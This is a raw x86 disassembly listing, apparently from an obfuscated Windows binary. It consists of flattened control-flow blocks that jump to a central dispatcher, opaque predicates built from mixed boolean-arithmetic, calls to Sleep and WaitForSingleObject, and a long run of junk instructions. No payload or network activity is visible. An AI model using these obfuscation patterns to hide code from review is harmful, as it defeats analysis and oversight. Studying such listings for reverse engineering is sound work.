test dl, 1
mov edx, 0x69df85b
cmove eax, esi
mov esi, dword [ebp - 0x3c]
test cl, 1
cmove eax, edx
mov dword [ebp - 0x198], esi
jmp 0x402100
mov ecx, dword [ebp - 0x11c]
mov eax, 0x9db7fcf9
mov dword [ebp - 0x78], ecx
jmp 0x402100
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x120], eax
mov eax, 0xcd763eda
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x4f74def4
mov esi, edx
and esi, 0xb08b210a
and edx, 0xb74fe491
or eax, esi
mov esi, eax
xor esi, 0xe44c8f0
xor eax, 0xb08b210b
mov edi, eax
and edi, 0xe1b33605
and esi, 0x1e4cc9fa
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x48b01b6e
mov ebx, edi
not ebx
and edi, 0x1e4cc9fa
or ecx, edx
or eax, ebx
and ebx, 0xe1b33605
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0xc7591ef1
and esi, 0x38a6e10e
or eax, esi
mov esi, 0xd90395c0
mov edi, eax
xor edi, 0xc2081e80
xor eax, 0x38a6e10e
mov edx, eax
and edx, 0x553e17b
and edi, 0xfaac1e84
or edi, edx
mov edx, ecx
xor edx, 0x48a01a04
xor ecx, 0xb74fe491
or eax, ecx
and ecx, 0x553e17b
and edx, 0xfaac1e84
or edx, ecx
not eax
xor edx, edi
or eax, edx
cmp eax, 0xffffffff
sete ah
cmp dword [0x4ba778], 0xa
setl ch
mov al, ch
mov cl, ch
or al, ah
xor cl, ah
xor al, 1
and ah, cl
or al, cl
and cl, ch
xor ah, 1
xor cl, 1
mov ch, ah
mov edx, eax
xor ch, cl
or cl, ah
xor dl, 1
xor cl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xd90395c0
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xe08bde1e
cmovne edx, ecx
test ah, 1
mov ecx, edx
cmovne ecx, esi
test al, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xda94a822
not ecx
mov esi, ecx
and edx, eax
and esi, 0xda94a822
and ecx, 0x538cb2f7
and eax, 0xac734d08
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x45728267
xor eax, 0xac734d08
and esi, 0xba8d7d98
or edx, esi
mov esi, edx
xor esi, 0x3e20240
xor edx, 0x60189138
and edx, 0xfc1cb93c
and esi, 0x3e346c3
or esi, edx
xor esi, 0x3e346c3
or eax, esi
mov esi, 0x1beb0256
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4ba778], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x44a69bfe
mov cl, ch
xor cl, al
test cl, 1
jmp 0x40ab22
mov eax, dword [ebp - 0x60]
movzx eax, word [eax]
mov word [ebp - 0x8e], ax
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xec303012
or edx, 0x68fe3930
mov ebx, ecx
and ebx, 0x13cfcfed
and ecx, 0x200c6cc
or ebx, eax
mov eax, ebx
mov esi, ebx
xor esi, 0x13cfcfed
xor ebx, 0x84ce0922
xor eax, 0xec303012
and ebx, esi
and eax, 0xfffffffe
mov edi, ebx
not edi
and ebx, 0x6254cfec
mov esi, edi
or edi, edx
and esi, 0x9dab3013
and edx, 0x9dab3013
or ebx, esi
or ecx, edx
not edi
xor ecx, ebx
or edi, ecx
mov ecx, edi
not ecx
and edi, 0x68fe3931
and ecx, 0x9701c6ce
or edi, ecx
or eax, edi
mov ecx, eax
not ecx
and eax, 0x9f87aaed
and ecx, 0x60785512
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1ce310d5
and ecx, 0xe31cef2a
or eax, ecx
mov ecx, eax
xor ecx, 0x2c920406
xor eax, 0x8364ba38
mov edx, eax
and edx, 0xd26df9f1
and ecx, 0x2d92060e
or ecx, edx
xor ecx, 0xd26df9f1
xor eax, ecx
test eax, ecx
sete dl
cmp dword [0x4ba778], 0xa
setge cl
mov eax, ecx
mov dh, cl
inc al
xor dh, dl
mov ch, al
and dh, cl
and ch, cl
xor ch, 1
or ch, al
xor al, dl
xor ch, 1
or al, dh
or ch, cl
mov ah, ch
xor ah, dl
or dl, ch
xor ah, 1
and ah, ch
xor ah, 1
mov ch, ah
or ah, dl
xor ch, dl
xor ah, 1
or ah, ch
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
or dl, al
xor cl, 1
or cl, ah
xor cl, al
mov eax, 0xdd90b119
mov ch, cl
xor ch, dl
test dl, 1
mov edx, 0xb5209a1c
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xdd90b119
cmove eax, edx
jmp 0x402100
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xa0ec6889
jmp 0x402100
mov ecx, dword [0x4ba77c]
mov edi, 0x9a9aeb78
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x6983b576
and ecx, 0x967c4a89
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xac1c50f9
and ecx, 0x53e3af06
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x38400a20
xor esi, 0xc59fe58f
xor eax, 0x30401800
mov ecx, esi
or ecx, 1
and esi, 0xc2a8f153
and edx, 0x3d570eac
and eax, 0xb5573c84
or edx, esi
mov esi, ecx
and esi, 0x4aa8c37b
or eax, esi
mov esi, edx
xor esi, 0x35570c84
xor edx, 0xc2a8f152
or ecx, edx
and edx, 0x4aa8c37b
and esi, 0xb5573c84
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0xacc166d
mov eax, ecx
and eax, 0x6cf0fa08
and edx, ecx
not ecx
and ecx, 0x930f05f7
or eax, ecx
mov ecx, eax
xor eax, 0x20c0465
xor ecx, 0x801208
or eax, 0xf533e992
and ecx, 0x8c1609
mov esi, eax
and esi, 0x2b62a164
or ecx, esi
mov esi, edx
not esi
and edx, 0xd49d5e9b
or eax, esi
and esi, 0x2b62a164
or edx, esi
not eax
mov esi, 0x3590806e
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2d421522
and ecx, 0xd2bdeadd
or eax, ecx
mov ecx, eax
xor ecx, 0x48a0348
xor eax, 0xd0318c00
and ecx, 0xcca73f8
and eax, 0xf3358c07
or eax, ecx
xor eax, 0xf3358c07
setne cl
sete dl
cmp dword [0x4ba778], 0xa
setge ch
setl ah
mov al, ch
xor al, dl
xor dl, ah
or ah, cl
and al, ch
or al, dl
and dl, cl
xor dl, 1
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
mov ah, al
or dl, cl
mov ecx, eax
not cl
mov ch, dl
and cl, al
xor ch, 1
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
and cl, ch
xor al, 1
or ch, al
and al, dl
or al, cl
mov dl, ch
xor dl, al
test dl, 1
mov edx, 0x9a9aeb78
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
test ch, 1
cmovne eax, edx
jmp 0x402100
mov eax, 0x26d61df0
jmp 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0x4c589aee
mov dword [ebp - 0x24], 2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x44cc6cd5
and ecx, 0x2504a000
mov esi, eax
and esi, 0xbb33932a
or eax, 0x40e85459
or edx, esi
and eax, 0xcaea5edd
mov esi, edx
xor esi, 0x201008
and edx, 0x10110122
or ecx, eax
or esi, 0x8a020a84
and esi, 0xcaea5edd
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x8df46ca3
and eax, 0x720b935c
or ecx, eax
mov esi, ecx
mov eax, ecx
xor esi, 0xdd0d39d8
xor eax, 0x22f2c627
mov edx, ecx
xor edx, 0x3a8a864b
xor ecx, 0x8d0119c8
or esi, eax
or eax, 1
and ecx, 0xad13dbca
and edx, esi
and eax, 0x52ec2435
mov esi, edx
not esi
or eax, ecx
and edx, 0xe787bf92
and esi, 0x1878406d
xor eax, 0x52ec2435
or edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x11c04050
and eax, 0xa2110400
mov edx, ecx
or edx, 0xc261a8c
and esi, 0x1de65adc
and ecx, 0x4008a123
and edx, 0x1de65adc
or ecx, esi
mov esi, 0x1f618fd
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x4c2ebbaf
and ecx, 0xb3d14450
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5a0b48a5
mov edx, ecx
and edx, 0xa5f4b75a
or eax, edx
xor eax, 0x5a0b48a5
or eax, ecx
cmp eax, 0xffffffff
mov eax, 0x4c589aee
sete cl
cmp dword [0x4ba778], 0xa
setge dl
xor dl, cl
and cl, dl
xor dl, cl
cmovne eax, esi
test dl, cl
cmove eax, esi
test dl, dl
cmove eax, edi
test dl, cl
cmovne eax, edi
jmp 0x402100
mov eax, dword [0x4ba77c]
mov edi, 0x49d69d6d
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
and esi, 0x68d664f8
mov edx, ecx
and edx, 0x97299b07
and ecx, 0xa3887440
or edx, esi
mov eax, edx
xor eax, 0x97299b07
xor edx, 0xc40468
mov esi, eax
and esi, 0x5c778bbf
and edx, 0x87ec0f6f
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xd64c06b7
and esi, 0x29b3f948
or ecx, esi
mov esi, eax
and esi, 0x7813f090
and eax, 1
or esi, edx
xor ecx, 0x8a3b8d09
mov edx, esi
xor edx, 0x84e40c28
xor esi, 0x3813c000
or eax, edx
and esi, 0x3b1bc346
and eax, 0xc4e43cb9
or eax, esi
mov esi, 0x97a938af
xor eax, 0xc4e43cb9
or eax, ecx
mov ecx, eax
xor ecx, 0xbac910e0
mov edx, eax
and edx, 0x98080080
and ecx, eax
not eax
and eax, 0x22c11060
or edx, eax
xor edx, 0x98080080
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe8b94540
and eax, 0x1746babf
or ecx, eax
mov eax, ecx
xor eax, 0x600420
xor ecx, 0xad8faa5f
mov edx, ecx
and edx, 0x5b9f7388
and eax, 0xa4608c77
or eax, edx
xor eax, 0xa4608c77
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x4ba778], 0xa
mov dh, al
setl ah
setge dl
mov ch, ah
and dh, ah
or cl, ah
xor ah, al
not ah
or ch, al
and ah, al
inc al
and al, dl
xor ah, 1
or al, dh
mov bl, ah
or ah, ch
xor al, 1
xor bl, ch
xor ah, 1
mov edx, eax
or al, cl
or ah, bl
xor dl, cl
xor al, 1
mov cl, ah
or al, dl
xor cl, 1
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x49d69d6d
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
jmp 0x40b7d2
mov dword [ebp - 0x38], 2
mov eax, 0xd502ea96
jmp 0x402100
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x38], 0x40
lea eax, [eax + eax*4]
mov edx, dword [ecx + eax*8 + 0x24]
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x252a0319
mov dword [ebp - 0x3c], edx
and eax, 0x252a0319
and ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6eb89451
and eax, 0x91476bae
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xb46d68b7
xor eax, 0x4b929748
xor edx, 0xb929748
and edx, eax
and ecx, 0xbfffffff
and eax, 0x40000000
or eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x5b74c2dc
mov edx, eax
and edx, 0x48604050
and ecx, eax
not eax
and eax, 0x1314828c
or edx, eax
xor edx, 0x48604050
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9b91e409
and eax, 0x646e1bf6
or ecx, eax
mov eax, ecx
xor eax, 0x40252215
xor ecx, 0x19005920
and eax, 0x663fa21f
and ecx, 0x99c05de0
or ecx, eax
cmp ecx, 0x99c05de0
mov ecx, dword [0x4ba77c]
setne byte [ebp - 0x57]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x13f4d0c0
mov esi, edx
and esi, 0xec0b2f3e
and edx, 0x2cbb545f
or esi, ecx
mov ecx, eax
or ecx, 0x13f4d0c0
and eax, 0xd344aba0
and ecx, 0x13f4d0c1
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0xd344aba0
xor eax, 0x2cbb545f
mov esi, 0xc54b79c5
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
setne ch
cmp dword [0x4ba778], 0xa
setge al
setl dl
mov cl, al
and al, ah
xor cl, ch
and ch, dl
or dl, ah
or al, ch
mov ch, cl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor ch, al
and al, cl
and ch, cl
xor cl, 1
not dl
and dl, cl
mov cl, ch
or al, dl
mov edx, 0x7b47de5c
xor cl, al
test al, al
mov eax, 0xc54b79c5
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402100
mov eax, 0x8bfe3645
jmp 0x402100
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x154]
mov dword [ebp - 0xbc], eax
mov eax, 0xd8a384d3
jmp 0x402100
mov eax, 0x3bab40d8
jmp 0x402100
mov eax, 0x403ef5ae
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x905cf616
mov edx, eax
and edx, 0x6fa309e8
and eax, 0x69ddf91e
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0x905cf616
and ecx, 0x962206e1
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x69ddf91e
mov edi, esi
and edi, 0x962206e1
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, dword [ebp - 0x28]
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4ba778], 0xa
mov dword [ebp - 0xac], esi
setl dl
setge al
and ah, dl
and al, ch
mov cl, dl
or dl, ch
or al, ah
mov ah, dl
xor cl, ch
xor al, 1
and cl, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0x587856fc
xor ch, cl
test dl, 1
mov edx, 0x87d9d8db
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
mov edx, dword [ebp - 0x20]
test ch, 1
mov dword [ebp - 0xa8], edx
mov edx, 0x587856fc
cmove eax, edx
jmp 0x402100
mov eax, 0x5b732ece
jmp 0x402100
mov eax, 0x4c6d051a
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x40008204
mov esi, edx
and esi, 0x18801408
and edx, 0x9e9dfc0a
or ecx, esi
mov edi, ecx
xor edi, 0x40008204
xor ecx, 0xbfff7dfb
mov esi, ecx
and esi, 0x1ed60578
and edi, 0x40009204
or edi, esi
mov esi, eax
xor esi, 0x5880960c
and esi, eax
and eax, 0x616203f5
mov ebx, esi
not ebx
and esi, 0xe129fa87
or eax, edx
or ecx, ebx
and ebx, 0x1ed60578
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x54130370
and esi, 0xabecfc8f
or ecx, esi
mov esi, 0x58a2b2dc
mov edi, ecx
xor edi, 0x4118471
xor ecx, 0xf36c6a82
mov edx, ecx
and edx, 0x98a2718c
and edi, 0x675d8e73
or edi, edx
mov edx, eax
xor edx, 0x61400271
xor eax, 0x98807008
and eax, 0x98a2718c
and edx, 0x675d8e73
or edx, eax
xor edx, edi
xor ecx, edx
test ecx, edx
sete dl
cmp dword [0x4ba778], 0xa
setge al
setl ah
xor ah, dl
mov ecx, eax
or cl, dl
and ah, dl
xor dl, al
and al, dl
xor cl, 1
xor al, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x18c11313
cmovne ecx, esi
test al, 1
mov eax, 0x18c11313
jmp 0x4020f0
mov eax, 0x6423f2b8
jmp 0x402100
mov dword [ebp - 0x38], 4
mov eax, 0x2a901a6d
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x9960dc0a
mov esi, eax
and esi, 0x669f23f4
or eax, 0x356f82da
or edx, esi
and eax, 0x356f82db
mov esi, edx
xor esi, 0x88005c00
xor edx, 0x240f02d1
and edx, 0x356f82db
and esi, 0xca907d24
or esi, edx
xor eax, esi
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete ah
cmp dword [0x4ba778], 0xa
setl al
xor al, ah
xor al, 1
and ah, al
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ch, dl
xor cl, al
mov eax, 0x7e8fab69
xor ch, cl
test dl, dl
mov edx, 0x285ec45a
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x7e8fab69
cmove eax, edx
jmp 0x402100
cmp byte [ebp - 0x54], 0
mov eax, 0x9360a302
mov ecx, 0xc19c68bb
cmovne eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x184], eax
mov eax, 0x4e48966e
jmp 0x402100
mov eax, 0x2a80443d
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf195bd04
and ecx, 0x60371034
mov edx, eax
and edx, 0xe6a42fb
or esi, edx
mov edx, esi
xor esi, 0x8000003
xor edx, 0x10008400
or esi, 0x84c04a88
and edx, 0x12088440
and esi, 0x8dc06b8b
or edx, esi
mov esi, eax
or esi, 0x9002103
and esi, 0x8dc06b8b
or ecx, esi
mov esi, 0x7dfde7a
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x42a1f0d2
and edx, 0xbd5e0f2d
or ecx, edx
mov edx, ecx
xor edx, 0x18894490
xor ecx, 0x2212a229
and ecx, 0x6332b329
and edx, 0x9ccd4cd6
or edx, ecx
xor edx, 0x9ccd4cd6
or edx, eax
mov eax, edx
not eax
and edx, 0xabe83632
and eax, 0x5417c9cd
or edx, eax
xor edx, 0xabe83632
sete al
setne cl
cmp dword [0x4ba778], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or cl, ah
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x8e71436a
cmovne eax, esi
test dl, dl
mov edx, 0x8e71436a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x9600a741
mov esi, edx
and esi, 0x69ff58be
and edx, 0x60b2c0ae
or ecx, esi
mov edi, ecx
xor ecx, 0x8e510a2
xor edi, 0x200
or ecx, 0xe51aec5d
and edi, 0x8441200
mov esi, ecx
and esi, 0xf7b3e9f3
or edi, esi
mov esi, eax
xor esi, 0x1ae513a2
and esi, eax
and eax, 0x9f4d3f51
mov ebx, esi
not ebx
and esi, 0x84c160c
or eax, edx
or ecx, ebx
and ebx, 0xf7b3e9f3
xor eax, 0x9f4d3f51
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
not esi
and esi, 0xe51aec5c
and ecx, 0x1ae513a3
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xacc78117
and esi, 0x53387ee8
or ecx, esi
mov esi, 0xe08bde1e
xor ecx, 0xacc78117
or eax, ecx
cmp eax, 0xffffffff
setne cl
cmp dword [0x4ba778], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
mov ecx, edx
mov ah, dl
and ah, al
xor cl, 1
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xda1b79b5
cmovne eax, esi
test cl, cl
mov ecx, 0xda1b79b5
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, 0x4afc4227
jmp 0x402100
mov dword [ebp - 0x88], 0
mov eax, 0xd6974753
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x60], ecx
jmp 0x402100
mov dword [ebp - 0x24], 0x10
mov eax, 0x7b75e096
jmp 0x402100
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
imul ebx
dec ebx
and edi, 0xe3
not edx
sbb ebx, 0xd
and ebx, 0x3e
add edx, 0x13
bswap edx
rcr edx, 0x2e
and eax, 0x6e
add edi, 0x5f
mov esi, 0x16
mov eax, 0x96
sbb ebx, 0x72
bswap esi
rol ebx, 0xc
imul ebx
not edx
sub esi, 0x53
imul edx
not esi
imul esi
neg ebx
rcl edi, 0x9f
and edi, 0xc6
not ebx
neg edx
rcl edx, 0xc1
and eax, 0x14
neg esi
inc edi
inc ebx
rcl edi, 0x95
not esi
mov ebx, 0x91
bswap eax
bswap ebx
rcr eax, 0x91
dec ebx
and ebx, 0x8a
dec edi
rcr eax, 0xb1
and edi, 0x31
imul ebx
bswap edi
imul edx
not eax
imul edi
sub ebx, 0xe6
neg ebx
neg eax
sub eax, 0x58
mov esi, 0x1c
neg esi
rcl edi, 0x2e
and ebx, 0x45
inc edi
not eax
rcl esi, 0x97
sub edi, 0x3c
inc edx
inc edi
sub ebx, 0x71
and ebx, 0xd5
neg edi
rol eax, 0x4d
bswap edx
rol eax, 0xe
and edi, 0xaa
add edi, 0x78
dec edi
rcl edx, 0x52
not edi
and ebx, 0x2b
ror esi, 0xe7
sbb eax, 0x88
inc ebx
not edi
and esi, 0xdf
rcl ebx, 0x1a
ror edi, 0xe1
dec esi
rcl edx, 0xba
imul eax
mov edx, 7
rcl edx, 0x40
add edx, 0xaf
sub eax, 0x7d
mov edx, 0xb3
dec eax
and edi, 0xe7
dec ebx
sub eax, 0x1a
sbb esi, 0x8e
rcl edi, 0xea
inc eax
rcl esi, 0x19
dec ebx
rcr eax, 0xd8
mov eax, 0x4d
not edi
sbb ebx, 0x19
and edi, 0x5c
inc edi
neg edi
imul edi
and eax, 0x7f
rcl esi, 0
mov edx, 0x40
rcr edi, 0x25
sbb eax, 0xc9
rcr edi, 0x8a
bswap edx
neg edx
rol edi, 0x37
or esi, 0xba
ror eax, 0x6b
ror esi, 0x2d
dec ebx
dec eax
and ebx, 0x59
ror edi, 0x94
rcl esi, 0x96
ror ebx, 0x30
sub edi, 0x67
inc edx
add edi, 0x92
inc eax
dec eax
bswap edx
sub esi, 0x68
add esi, 0x38
bswap eax
ror eax, 0xa
bswap edx
inc esi
dec edx
rcr esi, 0xfb
dec edi
bswap ebx
not edi
inc edi
rcr esi, 0x62
not edi
not esi
dec edi
inc ebx
rcl ebx, 0xa5
sub edi, 0xbc
and eax, 0xb7
mov dword [ebp - 0x2c], 0
mov eax, 0x3668d333
jmp 0x402100
mov dword [ebp - 0x38], 0x20
mov eax, 0x9a9aeb78
jmp 0x402100
movzx eax, word [ebp - 0x8e]
mov dword [ebp - 0x138], eax
mov eax, 0xfc96f8c5
jmp 0x402100
mov eax, 0x9bb45
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x6dc85588
and ecx, 0x9237aa77
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x73588681
and ecx, 0x8ca7797e
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x14008001
xor edx, 0xe16f2cf6
xor ecx, 0xe16f2cf7
and ecx, edx
and eax, 0x350f8483
and edx, 0xcaf07b7c
or edx, eax
mov eax, ecx
not eax
and ecx, 0xa92ae6d8
mov esi, eax
and esi, 0x56d51927
or ecx, esi
mov esi, edx
xor esi, 0x88206258
xor edx, 0x350f8482
or eax, edx
and edx, 0x56d51927
and esi, 0xa92ae6d8
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x3490ee0a
mov ecx, eax
not ecx
and eax, 0xba55c5fa
and ecx, 0x45aa3a05
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1cf715b6
and ecx, 0xe308ea49
or eax, ecx
mov ecx, eax
xor ecx, 0x405c0702
xor eax, 0xa6a2d04c
mov edx, eax
and edx, 0x3fa3a8b1
and ecx, 0xc05c574e
or ecx, edx
xor ecx, 0x3fa3a8b1
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x4ba778], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
xor cl, 1
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x57d236a2
cmovne edx, esi
test al, 1
mov eax, 0x57d236a2
jmp 0x40b7cf
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x24], 0x10
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x296e2941
mov esi, ecx
and esi, 0xd691d6be
mov edi, ecx
or edi, 0x24820828
and ecx, 0xe4f3eb23
or edx, esi
and edi, 0x6482882f
mov esi, edx
xor edx, 0x4800028
xor esi, 0x82000
or edx, 0x40008007
and esi, 0x92197210
and edx, 0x6482882f
or esi, edx
mov edx, eax
and edx, 0x96405c0
and eax, 0x1b0c14dc
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0x1b0c14dc
mov esi, edx
not esi
and edx, 0xb223758e
and esi, 0x4ddc8a71
or edx, esi
mov esi, 0xb97de18c
xor edx, 0xfb47f048
or eax, edx
cmp eax, 0xffffffff
setne ah
cmp dword [0x4ba778], 0xa
setl dl
setge al
xor dl, ah
and al, ah
mov ecx, edx
xor cl, 1
or al, cl
mov ah, al
and cl, al
or al, dl
not ah
and ah, dl
mov edx, eax
or cl, ah
xor dl, cl
test al, al
mov eax, 0xe85755a3
cmovne eax, esi
test cl, cl
mov ecx, 0xe85755a3
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edx + ecx*8 + 0xc]
lea edx, [ebp - 0x1c]
add ecx, dword [ebp - 0x20]
push edx
push dword [ebp - 0xc4]
push dword [eax]
push ecx
vzeroupper
call fcn.00401a80
add esp, 0x10
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8b72ccd8
and eax, 1
mov edx, ecx
and edx, 0x748d3326
or esi, edx
xor esi, 0x8b72ccd8
or eax, esi
mov esi, 0x285ec45a
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x4ba778], 0xa
setge cl
setl ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
xor ah, 1
xor dl, 1
mov cl, ah
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
or ah, dl
xor cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x21a89b96
cmovne eax, esi
test cl, 1
cmove eax, esi
test ch, 1
mov ecx, 0x21a89b96
cmove eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0xbc]
mov ecx, dword [0x4ba77c]
mov edi, 0xe1a3733a
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x74], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
